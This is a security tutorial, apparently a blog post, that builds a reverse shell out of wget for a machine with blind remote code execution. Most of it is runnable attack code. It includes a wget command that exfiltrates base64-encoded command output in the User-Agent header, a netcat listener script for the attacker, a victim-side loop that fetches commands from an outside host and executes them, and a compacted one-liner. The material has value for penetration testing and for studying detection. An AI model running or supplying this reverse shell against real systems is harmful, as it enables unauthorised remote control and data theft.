Constructing a semi-interactive reverse shell with wget
Recently, I needed to create a reverse shell from an old machine where I knew I had a Remote Code Execution (RCE), but without any output. As this machine was fairly old, it did not have bash
, python
, nc
, perl
, ruby
or gcc
installed, therefore getting a classical reverse shell to work was pretty much a pain in the neck. I knew I had a blind Remote Code Execution on the server (through a web application) but I had no way of exfiltrating the command execution results.
As I was determined to obtain a reverse shell on this machine, I started studying what I would need to create a reverse shell and decided to create one using wget
.
Constructing an uplink
First things first, we need to create an uplink to get the command results back from the victim machine.
IP="127.0.0.1";
PORT=4444;
wget "http://$IP:$PORT" -q \
-O- \
--user-agent="$(id 2>&1)" \
--output-file=/dev/null
In our netcat
listener we have received the request, with the exfiltrated command result inside the User-Agent
header :
GET / HTTP/1.1
User-Agent: uid=1000(poc) gid=1000(poc) groups=1000(poc)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
Now that we have a working proof of concept for data exfiltration, we need to be sure it won’t mess with the request. For example if we try to put the result of ls -lha
we will have the following request :
GET / HTTP/1.1
User-Agent: $ total 84K
drwxrwxr-x 2 hermes hermes 4,0K mai 12 10:19 .
drwxrwxrwt 26 root root 76K mai 12 10:19 ..
-rw-rw-r-- 1 hermes hermes 0 mai 12 10:19 file1
-rw-rw-r-- 1 hermes hermes 0 mai 12 10:19 file2
-rw-rw-r-- 1 hermes hermes 0 mai 12 10:19 file3
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
This will not be a valid HTTP request, because of the multiline User-Agent
. Therefore, we will just encode the command response in base64 like this :
IP="127.0.0.1";
PORT=4444;
wget "http://$IP:$PORT" -q \
-O- \
--user-agent="$(ls -lha 2>&1|base64 -w0)" \
--output-file=/dev/null
This gives us the following valid HTTP request :
GET / HTTP/1.1
User-Agent: dG90YWwgODRLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCmRyd3hyd3hyLXggIDIgaGVybWVzIGhlcm1lcyA0LDBLIG1haSAgIDEyIDEwOjE5IC4KZHJ3eHJ3eHJ3dCAyNiByb290ICAgcm9vdCAgICA3NksgbWFpICAgMTIgMTA6MTkgLi4KLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTEKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTIKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTMK
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive
Now we can use this to create a full reverse shell ! To do this we will create two loops :
-
On the victim server side, we will use a
while true
loop waiting for a new command to be run. When it receives a command, it will execute it, and return the response as a base64 string in theUser-Agent
HTTP Header. -
On the attacker side, we will use a
while true
loop reading for input data on the command prompt. When a new command is entered, it is sent to the victim server and wait for the result. The command result will be printed.
We can see the HTTP requests of the reverse shell using wireshark :
In the next section, I will present a first working version.
First working version
Requirements
-
On the victim machine :
wget
,base64
-
On the attacker machine :
wget
,nc
,grep
,awk
,cat
,xxd
,head
Listenner on the attack machine
You need to launch this listener on your attacking machine. The target machine will connect back to you and you’ll get an interactive shell thanks to this script.
#!/usr/bin/env bash
CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081
#===============================================================================
log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
remote_exec(){
local CMD="${1}"
echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
echo "${RESULT}"
}
wait_for_connection(){
log "Waiting for incomming connection ..."
local challenge="$(cat /dev/urandom | xxd -p | head -c 16)"
local challenge_solved="$(echo "${challenge}" | base64 -w0)"
waiting=1
while [[ ${waiting} == 1 ]]; do
local response="$(remote_exec "echo ${challenge} | base64 -w0")"
if [[ $(echo "${response}" | grep "${challenge_solved}" | wc -l) -ne 0 ]]; then
log "Validated ! proof : base64(${challenge})==${response}"
waiting=0
else
echo "${response}"
fi
done
info "Connected ! (interactive shell incomming)"
}
get_sys_info(){
echo ""
echo " Hostname : $(remote_exec "hostname")"
echo " Kernel : $(remote_exec "uname -sr")"
echo " Arch : $(remote_exec "uname -p")"
echo ""
}
#===============================================================================
wait_for_connection
# get_sys_info
PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "
RUNNING=1
while [[ $RUNNING == 1 ]]; do
printf "${PROMPT}"; read
if [[ "${REPLY}" == "exit" ]]; then
echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
RUNNING=0
else
echo "$(remote_exec "${REPLY}")"
fi
done
Reverse shell on the victim machine
On the victim machine, we only need wget
and base64
binaries, and this simple bash script :
#!/usr/bin/env bash
REV_IP='localhost'
CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081
RUNNING=1
while [[ $RUNNING == 1 ]]; do
CMD=$(wget -q "http://${REV_IP}:${CMD_RECV_PORT}" -O- --output-file=/dev/null 2>/dev/null)
if [[ ${CMD} != "" ]]; then
if [[ ${CMD} == "exit" ]]; then
RUNNING=0
else
sleep 0.125
wget \
"http://${REV_IP}:${CMD_REPLY_PORT}" \
--output-file=/dev/null \
--user-agent="$(${CMD} 2>&1 | base64 -w0)"\
2>/dev/null
fi
fi
done
Compacting everything
Now that we have a working first version, here is a compact version of this wget
reverse shell :
IP="1.2.3.4";D=8080;U=8081
while true; do sleep 0.125; wget "http://${IP}:${U}" -o /dev/null -U "$($(wget -q "http://${IP}:${D}" -O- -o /dev/null 2>/dev/null) 2>&1 | base64 -w0)" 2>/dev/null; done